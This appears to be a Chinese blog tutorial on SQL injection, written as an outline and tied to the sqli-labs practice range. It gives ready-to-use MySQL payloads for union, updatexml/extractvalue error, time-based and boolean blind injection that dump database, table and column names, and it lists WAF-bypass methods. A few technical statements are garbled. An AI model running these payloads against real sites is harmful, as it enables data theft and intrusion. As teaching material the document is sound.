sql注入

  • 基础知识(原理,注入要素、思路等)
    • sql注入原理
      • 用户输入数据被sql解释器执行
    • sql注入三要素
      • 未严格进行过滤 恶意修改 执行语句
    • 常见数据库
      • MySQL
      • SQL Server
      • Oracle
    • sql注入思路
      • 注入漏洞查询(先要弄明白注入处数据类型)
        • 数字型
          • 判断方式:
            • 数字型的最好方式就是:URL之后输入的参数为整型
          • 常见:
            • GET型
        • 字符型
          • 判断字符型的方式:
            • 最常见的就是登陆框
          • 常见:
            • post型
            • cookie型
              • 通过burp 进行cookie 注入 (cookie里面最常见到的是 魔术引号通过魔术来判断我们的注入是什么类型 )
              • 思考:1、cookie类型怎么注入 2、怎么绕过相对应的防护(魔术引号等)3、cookie怎么应用
              • 1、在burp包里我们有一个专门读取cookie 数据。 在cookie 里面进行修改即可。
              • 2、常见魔术引号防护,可能是通过判断 数据类型 。要求输入是 数字类型 那我们通过转义码,将我们的注入语句进行转义即可
            • http头
              • 注意查询方式 (insert 语句 ) 注入
              • 常见的注入:
                • 1、User-Agent(浏览器信息处的注入) 对方读取到我们的浏览器信息 我们也可以通过更改浏览器信息对 对方进行注入
                • 2、ip地址注入
                  • (针对ip地址 我们有两种判断方式:1、系统自带协议,我们的网络层有8层 其中有一层为脚本层。可以通过脚本代码实现ip地址的修改 2、读取的ip地址为我们系统层的ip 那种ip只能是公网ip由网络供应商供应 不可修改)
            • request
      • 信息收集(收集信息便于后面使用)
        • 操作系统
        • 数据库名
        • 数据库版本
        • 其他(读取数据库路径等等)
      • 数据注入(配合数据进行后台或进行getsell)
        • 低版本:暴力查询或结合读取查询
        • 高版本:information_schema有据查询(高于5.xx版本)
      • 高权限注入(利用注入进行跨数据库的查询 或文件读写)
        • 常规查询
        • 跨库查询
        • 文件读写
          • 存在魔术引号(进行编码或者宽字节绕过)
          • 不存在魔术引号
      • 相关防注入(配合实际情况选择绕过方案)
        • 自带防御:魔术引号
        • 内置函数:int等
        • 自定义关键字:select (黑名单,白名单,关键字过滤)
        • WAF防护软件:安全狗、BT等等
  • 数据库注入,结合sql注入思路
    • MYSQL
      • 扫盲MySQL基础知识
        • MySQL注释
          • -- :使用此注释时,后面需要跟上一个或多个空格 或 + eg:--+
          • #:直接注释到行尾
          • /**/
        • MySQL信息收集函数
          • @@datadir:读取数据库路径
          • @@basedir:MySQL安装路径
          • @@version__compile_os:操作系统
          • user():获取用户名
          • version():获取版本
          • database():获取数据库
        • MySQL其他函数参考
          • like ‘ro%' #判断 ro...或ro 是否成立
          • regexp '^ro[a-z]' #匹配ro及ro...等
          • if((条件),1,0) #条件成立 返回1 反之 返回0
          • sleep(5) #sql语句延时执行时间5s
          • mid(a,b,c) #从位置b开始,截取a字符串 c位数
          • substr(a,b,c) #从b位置开始,截取字符串a的c长度 常用
          • left(database(),1),database() # left(a,b) 从左侧截取a的前b位
          • length(database())=8 #判断数据库database() 名的长度
          • ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
        • MySQL 的 order by 语句
          • 原理
            • 为select查询的列排序,如果同时指定了TOP关键字
          • 通常会注入order by 语句来判断表中的列数
      • 常见注入方式
        • 联合注入union select
          • union查询原理:
            • MySQL官方解释中,union查询用于把许多的select语句的结果组合到一个结果集合中
          • unions使用方式
            • union select 1,payload(),3 --+
            • 查询数据库名
              • ?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
            • 查询表名
              • ?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
            • 查询列名
              • ?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
        • 报错注入
          • 1、fool
          • 2、updatexml
            • 理解
              • 对xml文档进行查询的函数UPDATEXML (XML_document, XPath_string, new_value);第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据
            • 原理
              • updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错
            • 使用方式
              • 格式
                • updatexml(a,b,c)只能修改b值为payload
                • 例:and updatexml (1,concat(ox3a,(payload()),ox3a),1) --+
              • 语句
                • ?id=1' and (updatexml (1,concat(0x3a,(select user()),0x3a),1))--+
                • ?id=1' and (updatexml(1,concat(0x3a,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e),1)) --+ //加上了substr做数据遍历,下面有详细介绍
          • 3、extractvalue
            • extractvalue理解
              • 对xml文档进行查询的函数语法extractvalue(目标xml文档,xml路径)
            • extractvalue原理(与updatexml相同)
            • 使用方式
              • ?id=1' and extractvalue(1,concat(0x7e,(select user()))) --+
        • 延时注入(使用起来比较难受)
          • 1、sleep
            • 原理
              • 常见判断闭合语句为 id=1 /*闭合条件*/ and if(1=1,sleep(6),1)--+来判断是否闭合成功,如果闭合成功时间回显就会增加6s
            • 使用方式:
              • and (select 1 from (select case when) substr (user() like '%roo%' ) then sleep (5) else 1 end)x)--+
              • and if (substring((payload),1,1)='第一个字母' ,sleep(5),1) 一个一个爆破来实现字母遍历
        • 布尔盲注
          • 原理
            • 布尔(boolen)盲注就是通过判断返回页面的是否正确来进行拆解数据,因为不用等待延时所以相对比时间盲速度要快很多
          • 使用方式
            • 用if条件判断布尔盲注
              • and if (substring (payload),1,1)='第一个字母',1=1,1=2)--+
            • 简单例子: select* from admin where id=1 and if (substring(user(),1,1)='r',1=1,1=2)--+
  • 注入拓展(配合sqllabs靶场)
    • 加解密注入
      • 说明
        • 有些注入在,post注入里设置了uname=(base64加密) 那么我们的注入语句也要对应base64加密,通过burp包功能项可以选择加密方式。如果对方有字符限制,有两种方法解决:1、限制在http文件中,那我们就可以在浏览器中进行修改 。2、限制在后台,那我们只能进行猜测
    • 二次注入
      • 说明
        • 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入
      • 步骤
        • 第一步:插入恶意数据:
          • 第一次进行数据库插入数据的时候,仅仅对其中特殊的字符进行了转移,在写入数据库的时候还是保留了原来的数据 但是数据本身包含恶意内容。
        • 第二步:引用恶意数据:
          • 在将数据存入到数据库中之后,开发者就会认为数据库是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成二次注入
    • 关键字绕过
    • JSON注入
    • LADP注入
    • DNSlog注入
    • 堆叠注入
  • WAF绕过
    • 更改提交方式
    • 大小写混合
    • 解码编码
    • 注释符混用
    • 等价函数替换
    • 特殊符号混用
    • 借助数据库特性
    • HTTP参数污染
    • 垃圾数据溢出
  •  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值